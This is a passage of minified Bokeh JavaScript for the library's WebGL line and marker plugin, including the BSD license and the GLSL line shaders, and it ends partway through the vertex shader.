Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n       * All rights reserved.\\n       * \\n       * Redistribution and use in source and binary forms, with or without modification,\\n       * are permitted provided that the following conditions are met:\\n       * \\n       * Redistributions of source code must retain the above copyright notice,\\n       * this list of conditions and the following disclaimer.\\n       * \\n       * Redistributions in binary form must reproduce the above copyright notice,\\n       * this list of conditions and the following disclaimer in the documentation\\n       * and/or other materials provided with the distribution.\\n       * \\n       * Neither the name of Anaconda nor the names of any contributors\\n       * may be used to endorse or promote products derived from this software\\n       * without specific prior written permission.\\n       * \\n       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n       * THE POSSIBILITY OF SUCH DAMAGE.\\n       */\\n      !function(t,e){var a;a=t.Bokeh,function(t,e,n){if(null!=a)return a.register_plugin(t,{\\\"models/glyphs/webgl/base\\\":451,\\\"models/glyphs/webgl/index\\\":452,\\\"models/glyphs/webgl/line.frag\\\":453,\\\"models/glyphs/webgl/line\\\":454,\\\"models/glyphs/webgl/line.vert\\\":455,\\\"models/glyphs/webgl/main\\\":456,\\\"models/glyphs/webgl/markers.frag\\\":457,\\\"models/glyphs/webgl/markers\\\":458,\\\"models/glyphs/webgl/markers.vert\\\":459},456);throw new Error(\\\"Cannot find Bokeh. You have to load it prior to loading plugins.\\\")}({451:function(t,e,n){var g=t(27),y=t(14),a=function(){function t(t,e){this.gl=t,this.glyph=e,this.nvertices=0,this.size_changed=!1,this.data_changed=!1,this.visuals_changed=!1,this.init()}return t.prototype.set_data_changed=function(t){t!=this.nvertices&&(this.nvertices=t,this.size_changed=!0),this.data_changed=!0},t.prototype.set_visuals_changed=function(){this.visuals_changed=!0},t.prototype.render=function(t,e,n){var a,s=[0,1,2],i=s[0],r=s[1],o=s[2],l=1,_=1,h=this.glyph.renderer.map_to_screen([i*l,r*l,o*l],[i*_,r*_,o*_]),c=h[0],f=h[1];if(isNaN(c[0]+c[1]+c[2]+f[0]+f[1]+f[2]))return y.logger.warn(\\\"WebGL backend (\\\"+this.glyph.model.type+\\\"): falling back to canvas rendering\\\"),!1;if(l=100/Math.min(Math.max(Math.abs(c[1]-c[0]),1e-12),1e12),_=100/Math.min(Math.max(Math.abs(f[1]-f[0]),1e-12),1e12),a=this.glyph.renderer.map_to_screen([i*l,r*l,o*l],[i*_,r*_,o*_]),c=a[0],f=a[1],1e-6<Math.abs(c[1]-c[0]-(c[2]-c[1]))||1e-6<Math.abs(f[1]-f[0]-(f[2]-f[1])))return y.logger.warn(\\\"WebGL backend (\\\"+this.glyph.model.type+\\\"): falling back to canvas rendering\\\"),!1;var d=[(c[1]-c[0])/l,(f[1]-f[0])/_],u=d[0],g=d[1],p=this.glyph.renderer.plot_view.gl.canvas,v=p.width,m=p.height,x={pixel_ratio:this.glyph.renderer.plot_view.canvas.pixel_ratio,width:v,height:m,dx:c[0]/u,dy:f[0]/g,sx:u,sy:g};return this.draw(e,n,x),!0},t}();function p(t,e){for(var n=new Float32Array(t),a=0,s=t;a<s;a++)n[a]=e;return n}function v(t,e){return void 0!==t[e].spec.value}n.BaseGLGlyph=a,n.line_width=function(t){return t<2&&(t=Math.sqrt(2*t)),t},n.fill_array_with_float=p,n.fill_array_with_vec=function(t,e,n){for(var a=new Float32Array(t*e),s=0;s<t;s++)for(var i=0;i<e;i++)a[s*e+i]=n[i];return a},n.visual_prop_is_singular=v,n.attach_float=function(t,e,n,a,s,i){if(s.doit)if(v(s,i))e.used=!1,t.set_attribute(n,\\\"float\\\",s[i].value());else{e.used=!0;var r=new Float32Array(s.cache[i+\\\"_array\\\"]);e.set_size(4*a),e.set_data(0,r),t.set_attribute(n,\\\"float\\\",e)}else e.used=!1,t.set_attribute(n,\\\"float\\\",[0])},n.attach_color=function(t,e,n,a,s,i){var r,o=i+\\\"_color\\\",l=i+\\\"_alpha\\\";if(s.doit)if(v(s,o)&&v(s,l))e.used=!1,r=g.color2rgba(s[o].value(),s[l].value()),t.set_attribute(n,\\\"vec4\\\",r);else{var _=void 0,h=void 0;e.used=!0,h=v(s,o)?function(){for(var t=[],e=0,n=a;e<n;e++)t.push(s[o].value());return t}():s.cache[o+\\\"_array\\\"],_=v(s,l)?p(a,s[l].value()):s.cache[l+\\\"_array\\\"];for(var c=new Float32Array(4*a),f=0,d=a;f<d;f++){r=g.color2rgba(h[f],_[f]);for(var u=0;u<4;u++)c[4*f+u]=r[u]}e.set_size(4*a*4),e.set_data(0,c),t.set_attribute(n,\\\"vec4\\\",e)}else e.used=!1,t.set_attribute(n,\\\"vec4\\\",[0,0,0,0])}},452:function(t,e,n){var a=t(391);a.__exportStar(t(454),n),a.__exportStar(t(458),n)},453:function(t,e,n){n.fragment_shader=\\\"\\\\nprecision mediump float;\\\\n\\\\nconst float PI = 3.14159265358979323846264;\\\\nconst float THETA = 15.0 * 3.14159265358979323846264/180.0;\\\\n\\\\nuniform sampler2D u_dash_atlas;\\\\n\\\\nuniform vec2 u_linecaps;\\\\nuniform float u_miter_limit;\\\\nuniform float u_linejoin;\\\\nuniform float u_antialias;\\\\nuniform float u_dash_phase;\\\\nuniform float u_dash_period;\\\\nuniform float u_dash_index;\\\\nuniform vec2 u_dash_caps;\\\\nuniform float u_closed;\\\\n\\\\nvarying vec4  v_color;\\\\nvarying vec2  v_segment;\\\\nvarying vec2  v_angles;\\\\nvarying vec2  v_texcoord;\\\\nvarying vec2  v_miter;\\\\nvarying float v_length;\\\\nvarying float v_linewidth;\\\\n\\\\n// Compute distance to cap ----------------------------------------------------\\\\nfloat cap( int type, float dx, float dy, float t, float linewidth )\\\\n{\\\\n    float d = 0.0;\\\\n    dx = abs(dx);\\\\n    dy = abs(dy);\\\\n    if      (type == 0)  discard;  // None\\\\n    else if (type == 1)  d = sqrt(dx*dx+dy*dy);  // Round\\\\n    else if (type == 3)  d = (dx+abs(dy));  // Triangle in\\\\n    else if (type == 2)  d = max(abs(dy),(t+dx-abs(dy)));  // Triangle out\\\\n    else if (type == 4)  d = max(dx,dy);  // Square\\\\n    else if (type == 5)  d = max(dx+t,dy);  // Butt\\\\n    return d;\\\\n}\\\\n\\\\n// Compute distance to join -------------------------------------------------\\\\nfloat join( in int type, in float d, in vec2 segment, in vec2 texcoord, in vec2 miter,\\\\n           in float linewidth )\\\\n{\\\\n    // texcoord.x is distance from start\\\\n    // texcoord.y is distance from centerline\\\\n    // segment.x and y indicate the limits (as for texcoord.x) for this segment\\\\n\\\\n    float dx = texcoord.x;\\\\n\\\\n    // Round join\\\\n    if( type == 1 ) {\\\\n        if (dx < segment.x) {\\\\n            d = max(d,length( texcoord - vec2(segment.x,0.0)));\\\\n            //d = length( texcoord - vec2(segment.x,0.0));\\\\n        } else if (dx > segment.y) {\\\\n            d = max(d,length( texcoord - vec2(segment.y,0.0)));\\\\n            //d = length( texcoord - vec2(segment.y,0.0));\\\\n        }\\\\n    }\\\\n    // Bevel join\\\\n    else if ( type == 2 ) {\\\\n        if (dx < segment.x) {\\\\n            vec2 x = texcoord - vec2(segment.x,0.0);\\\\n            d = max(d, max(abs(x.x), abs(x.y)));\\\\n\\\\n        } else if (dx > segment.y) {\\\\n            vec2 x = texcoord - vec2(segment.y,0.0);\\\\n            d = max(d, max(abs(x.x), abs(x.y)));\\\\n        }\\\\n        /*  Original code for bevel which does not work for us\\\\n        if( (dx < segment.x) ||  (dx > segment.y) )\\\\n            d = max(d, min(abs(x.x),abs(x.y)));\\\\n        */\\\\n    }\\\\n\\\\n    return d;\\\\n}\\\\n\\\\nvoid main()\\\\n{\\\\n    // If color is fully transparent we just discard the fragment\\\\n    if( v_color.a <= 0.0 ) {\\\\n        discard;\\\\n    }\\\\n\\\\n    // Test if dash pattern is the solid one (0)\\\\n    bool solid =  (u_dash_index == 0.0);\\\\n\\\\n    // Test if path is closed\\\\n    bool closed = (u_closed > 0.0);\\\\n\\\\n    vec4 color = v_color;\\\\n    float dx = v_texcoord.x;\\\\n    float dy = v_texcoord.y;\\\\n    float t = v_linewidth/2.0-u_antialias;\\\\n    float width = 1.0;  //v_linewidth; original code had dashes scale with line width, we do not\\\\n    float d = 0.0;\\\\n\\\\n    vec2 linecaps = u_linecaps;\\\\n    vec2 dash_caps = u_dash_caps;\\\\n    float line_start = 0.0;\\\\n    float line_stop = v_length;\\\\n\\\\n    // Apply miter limit; fragments too far into the miter are simply discarded\\\\n    if( (dx < v_segment.x) || (dx > v_segment.y) ) {\\\\n        float into_miter = max(v_segment.x - dx, dx - v_segment.y);\\\\n        if (into_miter > u_miter_limit*v_linewidth/2.0)\\\\n          discard;\\\\n    }\\\\n\\\\n    // Solid line --------------------------------------------------------------\\\\n    if( solid ) {\\\\n        d = abs(dy);\\\\n        if( (!closed) && (dx < line_start) ) {\\\\n            d = cap( int(u_linecaps.x), abs(dx), abs(dy), t, v_linewidth );\\\\n        }\\\\n        else if( (!closed) &&  (dx > line_stop) ) {\\\\n            d = cap( int(u_linecaps.y), abs(dx)-line_stop, abs(dy), t, v_linewidth );\\\\n        }\\\\n        else {\\\\n            d = join( int(u_linejoin), abs(dy), v_segment, v_texcoord, v_miter, v_linewidth );\\\\n        }\\\\n\\\\n    // Dash line --------------------------------------------------------------\\\\n    } else {\\\\n        float segment_start = v_segment.x;\\\\n        float segment_stop  = v_segment.y;\\\\n        float segment_center= (segment_start+segment_stop)/2.0;\\\\n        float freq          = u_dash_period*width;\\\\n        float u = mod( dx + u_dash_phase*width, freq);\\\\n        vec4 tex = texture2D(u_dash_atlas, vec2(u/freq, u_dash_index)) * 255.0 -10.0;  // conversion to int-like\\\\n        float dash_center= tex.x * width;\\\\n        float dash_type  = tex.y;\\\\n        float _start = tex.z * width;\\\\n        float _stop  = tex.a * width;\\\\n        float dash_start = dx - u + _start;\\\\n        float dash_stop  = dx - u + _stop;\\\\n\\\\n        // Compute extents of the first dash (the one relative to v_segment.x)\\\\n        // Note: this could be computed in the vertex shader\\\\n        if( (dash_stop < segment_start) && (dash_caps.x != 5.0) ) {\\\\n            float u = mod(segment_start + u_dash_phase*width, freq);\\\\n            vec4 tex = texture2D(u_dash_atlas, vec2(u/freq, u_dash_index)) * 255.0 -10.0;  // conversion to int-like\\\\n            dash_center= tex.x * width;\\\\n            //dash_type  = tex.y;\\\\n            float _start = tex.z * width;\\\\n            float _stop  = tex.a * width;\\\\n            dash_start = segment_start - u + _start;\\\\n            dash_stop = segment_start - u + _stop;\\\\n        }\\\\n\\\\n        // Compute extents of the last dash (the one relatives to v_segment.y)\\\\n        // Note: This could be computed in the vertex shader\\\\n        else if( (dash_start > segment_stop)  && (dash_caps.y != 5.0) ) {\\\\n            float u = mod(segment_stop + u_dash_phase*width, freq);\\\\n            vec4 tex = texture2D(u_dash_atlas, vec2(u/freq, u_dash_index)) * 255.0 -10.0;  // conversion to int-like\\\\n            dash_center= tex.x * width;\\\\n            //dash_type  = tex.y;\\\\n            float _start = tex.z * width;\\\\n            float _stop  = tex.a * width;\\\\n            dash_start = segment_stop - u + _start;\\\\n            dash_stop  = segment_stop - u + _stop;\\\\n        }\\\\n\\\\n        // This test if the we are dealing with a discontinuous angle\\\\n        bool discontinuous = ((dx <  segment_center) && abs(v_angles.x) > THETA) ||\\\\n                             ((dx >= segment_center) && abs(v_angles.y) > THETA);\\\\n        //if( dx < line_start) discontinuous = false;\\\\n        //if( dx > line_stop)  discontinuous = false;\\\\n\\\\n        float d_join = join( int(u_linejoin), abs(dy),\\\\n                            v_segment, v_texcoord, v_miter, v_linewidth );\\\\n\\\\n        // When path is closed, we do not have room for linecaps, so we make room\\\\n        // by shortening the total length\\\\n        if (closed) {\\\\n             line_start += v_linewidth/2.0;\\\\n             line_stop  -= v_linewidth/2.0;\\\\n        }\\\\n\\\\n        // We also need to take antialias area into account\\\\n        //line_start += u_antialias;\\\\n        //line_stop  -= u_antialias;\\\\n\\\\n        // Check is dash stop is before line start\\\\n        if( dash_stop <= line_start ) {\\\\n            discard;\\\\n        }\\\\n        // Check is dash start is beyond line stop\\\\n        if( dash_start >= line_stop ) {\\\\n            discard;\\\\n        }\\\\n\\\\n        // Check if current dash start is beyond segment stop\\\\n        if( discontinuous ) {\\\\n            // Dash start is beyond segment, we discard\\\\n            if( (dash_start > segment_stop) ) {\\\\n                discard;\\\\n                //gl_FragColor = vec4(1.0,0.0,0.0,.25); return;\\\\n            }\\\\n\\\\n            // Dash stop is before segment, we discard\\\\n            if( (dash_stop < segment_start) ) {\\\\n                discard;  //gl_FragColor = vec4(0.0,1.0,0.0,.25); return;\\\\n            }\\\\n\\\\n            // Special case for round caps (nicer with this)\\\\n            if( dash_caps.x == 1.0 ) {\\\\n                if( (u > _stop) && (dash_stop > segment_stop )  && (abs(v_angles.y) < PI/2.0)) {\\\\n                    discard;\\\\n                }\\\\n            }\\\\n\\\\n            // Special case for round caps  (nicer with this)\\\\n            if( dash_caps.y == 1.0 ) {\\\\n                if( (u < _start) && (dash_start < segment_start )  && (abs(v_angles.x) < PI/2.0)) {\\\\n                    discard;\\\\n                }\\\\n            }\\\\n\\\\n            // Special case for triangle caps (in & out) and square\\\\n            // We make sure the cap stop at crossing frontier\\\\n            if( (dash_caps.x != 1.0) && (dash_caps.x != 5.0) ) {\\\\n                if( (dash_start < segment_start )  && (abs(v_angles.x) < PI/2.0) ) {\\\\n                    float a = v_angles.x/2.0;\\\\n                    float x = (segment_start-dx)*cos(a) - dy*sin(a);\\\\n                    float y = (segment_start-dx)*sin(a) + dy*cos(a);\\\\n                    if( x > 0.0 ) discard;\\\\n                    // We transform the cap into square to avoid holes\\\\n                    dash_caps.x = 4.0;\\\\n                }\\\\n            }\\\\n\\\\n            // Special case for triangle caps (in & out) and square\\\\n            // We make sure the cap stop at crossing frontier\\\\n            if( (dash_caps.y != 1.0) && (dash_caps.y != 5.0) ) {\\\\n                if( (dash_stop > segment_stop )  && (abs(v_angles.y) < PI/2.0) ) {\\\\n                    float a = v_angles.y/2.0;\\\\n                    float x = (dx-segment_stop)*cos(a) - dy*sin(a);\\\\n                    float y = (dx-segment_stop)*sin(a) + dy*cos(a);\\\\n                    if( x > 0.0 ) discard;\\\\n                    // We transform the caps into square to avoid holes\\\\n                    dash_caps.y = 4.0;\\\\n                }\\\\n            }\\\\n        }\\\\n\\\\n        // Line cap at start\\\\n        if( (dx < line_start) && (dash_start < line_start) && (dash_stop > line_start) ) {\\\\n            d = cap( int(linecaps.x), dx-line_start, dy, t, v_linewidth);\\\\n        }\\\\n        // Line cap at stop\\\\n        else if( (dx > line_stop) && (dash_stop > line_stop) && (dash_start < line_stop) ) {\\\\n            d = cap( int(linecaps.y), dx-line_stop, dy, t, v_linewidth);\\\\n        }\\\\n        // Dash cap left - dash_type = -1, 0 or 1, but there may be roundoff errors\\\\n        else if( dash_type < -0.5 ) {\\\\n            d = cap( int(dash_caps.y), abs(u-dash_center), dy, t, v_linewidth);\\\\n            if( (dx > line_start) && (dx < line_stop) )\\\\n                d = max(d,d_join);\\\\n        }\\\\n        // Dash cap right\\\\n        else if( dash_type > 0.5 ) {\\\\n            d = cap( int(dash_caps.x), abs(dash_center-u), dy, t, v_linewidth);\\\\n            if( (dx > line_start) && (dx < line_stop) )\\\\n                d = max(d,d_join);\\\\n        }\\\\n        // Dash body (plain)\\\\n        else {// if( dash_type > -0.5 &&  dash_type < 0.5) {\\\\n            d = abs(dy);\\\\n        }\\\\n\\\\n        // Line join\\\\n        if( (dx > line_start) && (dx < line_stop)) {\\\\n            if( (dx <= segment_start) && (dash_start <= segment_start)\\\\n                && (dash_stop >= segment_start) ) {\\\\n                d = d_join;\\\\n                // Antialias at outer border\\\\n                float angle = PI/2.+v_angles.x;\\\\n                float f = abs( (segment_start - dx)*cos(angle) - dy*sin(angle));\\\\n                d = max(f,d);\\\\n            }\\\\n            else if( (dx > segment_stop) && (dash_start <= segment_stop)\\\\n                     && (dash_stop >= segment_stop) ) {\\\\n                d = d_join;\\\\n                // Antialias at outer border\\\\n                float angle = PI/2.+v_angles.y;\\\\n                float f = abs((dx - segment_stop)*cos(angle) - dy*sin(angle));\\\\n                d = max(f,d);\\\\n            }\\\\n            else if( dx < (segment_start - v_linewidth/2.)) {\\\\n                discard;\\\\n            }\\\\n            else if( dx > (segment_stop + v_linewidth/2.)) {\\\\n                discard;\\\\n            }\\\\n        }\\\\n        else if( dx < (segment_start - v_linewidth/2.)) {\\\\n            discard;\\\\n        }\\\\n        else if( dx > (segment_stop + v_linewidth/2.)) {\\\\n            discard;\\\\n        }\\\\n    }\\\\n\\\\n    // Distance to border ------------------------------------------------------\\\\n    d = d - t;\\\\n    if( d < 0.0 ) {\\\\n        gl_FragColor = color;\\\\n    } else {\\\\n        d /= u_antialias;\\\\n        gl_FragColor = vec4(color.rgb, exp(-d*d)*color.a);\\\\n    }\\\\n}\\\\n\\\"},454:function(t,e,n){var a=t(391),s=t(460),i=t(451),r=t(455),o=t(453),l=t(27),_=function(){function t(t){this._atlas={},this._index=0,this._width=256,this._height=256,this.tex=new s.Texture2D(t),this.tex.set_wrapping(t.REPEAT,t.REPEAT),this.tex.set_interpolation(t.NEAREST,t.NEAREST),this.tex.set_size([this._height,this._width],t.RGBA),this.tex.set_data([0,0],[this._height,this._width],new Uint8Array(this._height*this._width*4)),this.get_atlas_data([1])}return t.prototype.get_atlas_data=function(t){var e=t.join(\\\"-\\\"),n=this._atlas[e];if(void 0===n){var a=this.make_pattern(t),s=a[0],i=a[1];this.tex.set_data([this._index,0],[1,this._width],new Uint8Array(s.map(function(t){return t+10}))),this._atlas[e]=[this._index/this._height,i],this._index+=1}return this._atlas[e]},t.prototype.make_pattern=function(t){1<t.length&&t.length%2&&(t=t.concat(t));for(var e=0,n=0,a=t;n<a.length;n++){var s=a[n];e+=s}for(var i=[],r=0,o=0,l=t.length+2;o<l;o+=2){var _=Math.max(1e-4,t[o%t.length]),h=Math.max(1e-4,t[(o+1)%t.length]);i.push(r,r+_),r+=_+h}for(var c=this._width,f=new Float32Array(4*c),o=0,l=c;o<l;o++){for(var d=void 0,u=void 0,g=void 0,p=e*o/(c-1),v=0,m=1e16,x=0,y=i.length;x<y;x++){var b=Math.abs(i[x]-p);b<m&&(v=x,m=b)}v%2==0?(g=p<=i[v]?1:0,u=i[v],d=i[v+1]):(g=p>i[v]?-1:0,u=i[v-1],d=i[v]),f[4*o+0]=i[v],f[4*o+1]=g,f[4*o+2]=u,f[4*o+3]=d}return[f,e]},t}(),h={miter:0,round:1,bevel:2},c={\\\"\\\":0,none:0,\\\".\\\":0,round:1,\\\")\\\":1,\\\"(\\\":1,o:1,\\\"triangle in\\\":2,\\\"<\\\":2,\\\"triangle out\\\":3,\\\">\\\":3,square:4,\\\"[\\\":4,\\\"]\\\":4,\\\"=\\\":4,butt:5,\\\"|\\\":5},f=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a.__extends(e,t),e.prototype.init=function(){var t=this.gl;this._scale_aspect=0;var e=r.vertex_shader,n=o.fragment_shader;this.prog=new s.Program(t),this.prog.set_shaders(e,n),this.index_buffer=new s.IndexBuffer(t),this.vbo_position=new s.VertexBuffer(t),this.vbo_tangents=new s.VertexBuffer(t),this.vbo_segment=new s.VertexBuffer(t),this.vbo_angles=new s.VertexBuffer(t),this.vbo_texcoord=new s.VertexBuffer(t),this.dash_atlas=new _(t)},e.prototype.draw=function(t,e,n){var a=e.glglyph;if(a.data_changed){if(!isFinite(n.dx)||!isFinite(n.dy))return;a._baked_offset=[n.dx,n.dy],a._set_data(),a.data_changed=!1}this.visuals_changed&&(this._set_visuals(),this.visuals_changed=!1);var s=n.sx,i=n.sy,r=Math.sqrt(s*s+i*i);s/=r,i/=r,Math.abs(this._scale_aspect-i/s)>Math.abs(.001*this._scale_aspect)&&(a._update_scale(s,i),this._scale_aspect=i/s),this.prog.set_attribute(\\\"a_position\\\",\\\"vec2\\\",a.vbo_position),this.prog.set_attribute(\\\"a_tangents\\\",\\\"vec4\\\",a.vbo_tangents),this.prog.set_attribute(\\\"a_segment\\\",\\\"vec2\\\",a.vbo_segment),this.prog.set_attribute(\\\"a_angles\\\",\\\"vec2\\\",a.vbo_angles),this.prog.set_attribute(\\\"a_texcoord\\\",\\\"vec2\\\",a.vbo_texcoord),this.prog.set_uniform(\\\"u_length\\\",\\\"float\\\",[a.cumsum]),this.prog.set_texture(\\\"u_dash_atlas\\\",this.dash_atlas.tex);var o=a._baked_offset;if(this.prog.set_uniform(\\\"u_pixel_ratio\\\",\\\"float\\\",[n.pixel_ratio]),this.prog.set_uniform(\\\"u_canvas_size\\\",\\\"vec2\\\",[n.width,n.height]),this.prog.set_uniform(\\\"u_offset\\\",\\\"vec2\\\",[n.dx-o[0],n.dy-o[1]]),this.prog.set_uniform(\\\"u_scale_aspect\\\",\\\"vec2\\\",[s,i]),this.prog.set_uniform(\\\"u_scale_length\\\",\\\"float\\\",[r]),this.I_triangles=a.I_triangles,this.I_triangles.length<65535)this.index_buffer.set_size(2*this.I_triangles.length),this.index_buffer.set_data(0,new Uint16Array(this.I_triangles)),this.prog.draw(this.gl.TRIANGLES,this.index_buffer);else{t=Array.from(this.I_triangles);for(var l=this.I_triangles.length,_=64008,h=[],c=0,f=Math.ceil(l/_);c<f;c++)h.push([]);for(var c=0,f=t.length;c<f;c++){var d=t[c]%_,u=Math.floor(t[c]/_);h[u].push(d)}for(var u=0,f=h.length;u<f;u++){var g=new Uint16Array(h[u]),p=u*_*4;0!==g.length&&(this.prog.set_attribute(\\\"a_position\\\",\\\"vec2\\\",a.vbo_position,0,2*p),this.prog.set_attribute(\\\"a_tangents\\\",\\\"vec4\\\",a.vbo_tangents,0,4*p),this.prog.set_attribute(\\\"a_segment\\\",\\\"vec2\\\",a.vbo_segment,0,2*p),this.prog.set_attribute(\\\"a_angles\\\",\\\"vec2\\\",a.vbo_angles,0,2*p),this.prog.set_attribute(\\\"a_texcoord\\\",\\\"vec2\\\",a.vbo_texcoord,0,2*p),this.index_buffer.set_size(2*g.length),this.index_buffer.set_data(0,g),this.prog.draw(this.gl.TRIANGLES,this.index_buffer))}}},e.prototype._set_data=function(){this._bake(),this.vbo_position.set_size(4*this.V_position.length),this.vbo_position.set_data(0,this.V_position),this.vbo_tangents.set_size(4*this.V_tangents.length),this.vbo_tangents.set_data(0,this.V_tangents),this.vbo_angles.set_size(4*this.V_angles.length),this.vbo_angles.set_data(0,this.V_angles),this.vbo_texcoord.set_size(4*this.V_texcoord.length),this.vbo_texcoord.set_data(0,this.V_texcoord)},e.prototype._set_visuals=function(){var t,e=l.color2rgba(this.glyph.visuals.line.line_color.value(),this.glyph.visuals.line.line_alpha.value()),n=c[this.glyph.visuals.line.line_cap.value()],a=h[this.glyph.visuals.line.line_join.value()];this.prog.set_uniform(\\\"u_color\\\",\\\"vec4\\\",e),this.prog.set_uniform(\\\"u_linewidth\\\",\\\"float\\\",[this.glyph.visuals.line.line_width.value()]),this.prog.set_uniform(\\\"u_antialias\\\",\\\"float\\\",[.9]),this.prog.set_uniform(\\\"u_linecaps\\\",\\\"vec2\\\",[n,n]),this.prog.set_uniform(\\\"u_linejoin\\\",\\\"float\\\",[a]),this.prog.set_uniform(\\\"u_miter_limit\\\",\\\"float\\\",[10]);var s=this.glyph.visuals.line.line_dash.value(),i=0,r=1;s.length&&(t=this.dash_atlas.get_atlas_data(s),i=t[0],r=t[1]),this.prog.set_uniform(\\\"u_dash_index\\\",\\\"float\\\",[i]),this.prog.set_uniform(\\\"u_dash_phase\\\",\\\"float\\\",[this.glyph.visuals.line.line_dash_offset.value()]),this.prog.set_uniform(\\\"u_dash_period\\\",\\\"float\\\",[r]),this.prog.set_uniform(\\\"u_dash_caps\\\",\\\"vec2\\\",[n,n]),this.prog.set_uniform(\\\"u_closed\\\",\\\"float\\\",[0])},e.prototype._bake=function(){for(var t,e,n,a,s,i,r,o,l=this.nvertices,_=new Float64Array(this.glyph._x),h=new Float64Array(this.glyph._y),c=r=new Float32Array(2*l),f=new Float32Array(2*l),d=o=new Float32Array(4*l),u=0,g=l;u<g;u++)c[2*u+0]=_[u]+this._baked_offset[0],c[2*u+1]=h[u]+this._baked_offset[1];this.tangents=e=new Float32Array(2*l-2);for(var u=0,g=l-1;u<g;u++)e[2*u+0]=r[2*(u+1)+0]-r[2*u+0],e[2*u+1]=r[2*(u+1)+1]-r[2*u+1];for(var u=0,g=l-1;u<g;u++)d[4*(u+1)+0]=e[2*u+0],d[4*(u+1)+1]=e[2*u+1],d[4*u+2]=e[2*u+0],d[4*u+3]=e[2*u+1];d[0]=e[0],d[1]=e[1],d[4*(l-1)+2]=e[2*(l-2)+0],d[4*(l-1)+3]=e[2*(l-2)+1];for(var p=new Float32Array(l),u=0,g=l;u<g;u++)p[u]=Math.atan2(o[4*u+0]*o[4*u+3]-o[4*u+1]*o[4*u+2],o[4*u+0]*o[4*u+2]+o[4*u+1]*o[4*u+3]);for(var u=0,g=l-1;u<g;u++)f[2*u+0]=p[u],f[2*u+1]=p[u+1];var v=4*l-4;this.V_position=a=new Float32Array(2*v),this.V_angles=n=new Float32Array(2*v),this.V_tangents=s=new Float32Array(4*v),this.V_texcoord=i=new Float32Array(2*v);for(var u=0,g=l;u<g;u++)for(var m=0;m<4;m++){for(var x=0;x<2;x++)a[2*(4*u+m-2)+x]=c[2*u+x],n[2*(4*u+m)+x]=f[2*u+x];for(var x=0;x<4;x++)s[4*(4*u+m-2)+x]=d[4*u+x]}for(var u=0,g=l;u<g;u++)i[2*(4*u+0)+0]=-1,i[2*(4*u+1)+0]=-1,i[2*(4*u+2)+0]=1,i[2*(4*u+3)+0]=1,i[2*(4*u+0)+1]=-1,i[2*(4*u+1)+1]=1,i[2*(4*u+2)+1]=-1,i[2*(4*u+3)+1]=1;var y=6*(l-1);this.I_triangles=t=new Uint32Array(y);for(var u=0,g=l;u<g;u++)t[6*u+0]=0+4*u,t[6*u+1]=1+4*u,t[6*u+2]=3+4*u,t[6*u+3]=2+4*u,t[6*u+4]=0+4*u,t[6*u+5]=3+4*u},e.prototype._update_scale=function(t,e){var n,a=this.nvertices,s=4*a-4,i=this.tangents,r=new Float32Array(a-1),o=new Float32Array(2*a);this.V_segment=n=new Float32Array(2*s);for(var l=0,_=a-1;l<_;l++)r[l]=Math.sqrt(Math.pow(i[2*l+0]*t,2)+Math.pow(i[2*l+1]*e,2));for(var h=0,l=0,_=a-1;l<_;l++)h+=r[l],o[2*(l+1)+0]=h,o[2*l+1]=h;for(var l=0,_=a;l<_;l++)for(var c=0;c<4;c++)for(var f=0;f<2;f++)n[2*(4*l+c)+f]=o[2*l+f];this.cumsum=h,this.vbo_segment.set_size(4*this.V_segment.length),this.vbo_segment.set_data(0,this.V_segment)},e}(i.BaseGLGlyph);n.LineGLGlyph=f},455:function(t,e,n){n.vertex_shader=\\\"\\\\nprecision mediump float;\\\\n\\\\nconst float PI = 3.14159265358979323846264;\\\\nconst float THETA = 15.0 * 3.14159265358979323846264/180.0;\\\\n\\\\nuniform float u_pixel_ratio;\\\\nuniform vec2 u_canvas_size, u_offset;\\\\nuniform vec2 u_scale_aspect;\\\\nuniform float u_scale_length;\\\\n\\\\nuniform vec4 u_color;\\\\nuniform float u_antialias;\\\\nuniform float u_length;\\\\nuniform float u_linewidth;\\\\nuniform float u_dash_index;\\\\nuniform float u_closed;\\\\n\\\\nattribute vec2 a_position;\\\\nattribute vec4 a_tangents;\\\\nattribute vec2 a_segment;\\\\nattribute vec2 a_angles;\\\\nattribute vec2 a_texcoord;\\\\n\\\\nvarying vec4  v_color;\\\\nvarying vec2  v_segment;\\\\nvarying vec2  v_angles;\\\\nvarying vec2  v_texcoord;\\\\nvarying vec2  v_miter;\\\\nvarying float v_length;\\\\nvarying float v_linewidth;\\\\n\\\\nfloat cross(in vec2 v1, in vec2 v2)\\\\n{\\\\n    return v1.x*v2.y - v1.y*v2.x;\\\\n}\\\\n\\\\nfloat signed_distance(in vec2 v1, in vec2 v2, in vec2 v3)\\\\n{\\\\n    return cross(v2-v1,v1-v3) / length(v2-v1);\\\\n}\\\\n\\\\nvoid rotate( in vec2 v, in float alpha, out vec2 result )\\\\n{\\\\n    float c = cos(alpha);\\\\n    float s = sin(alpha);\\\\n    result = vec2( c*v.x - s*v.y,\\\\n                   s*v.x + c*v.y );\\\\n}\\\\n\\\\nvoid main()\\\\n{\\\\n    bool closed = (u_closed > 0.0);\\\\n\\\\n    // Attributes and uniforms to varyings\\\\n    v_color = u_color;\\\\n    v_linewidth = u_linewidth;\\\\n    v_segment = a_segment * u_scale_length;\\\\n    v_length = u_length * u_scale_length;\\\\n\\\\n    // Scale to map to pixel coordinates. The original algorithm from the paper\\\\n    // assumed isotropic scale. We obviously do not have this.\\\\n    vec2 abs_scale_aspect = 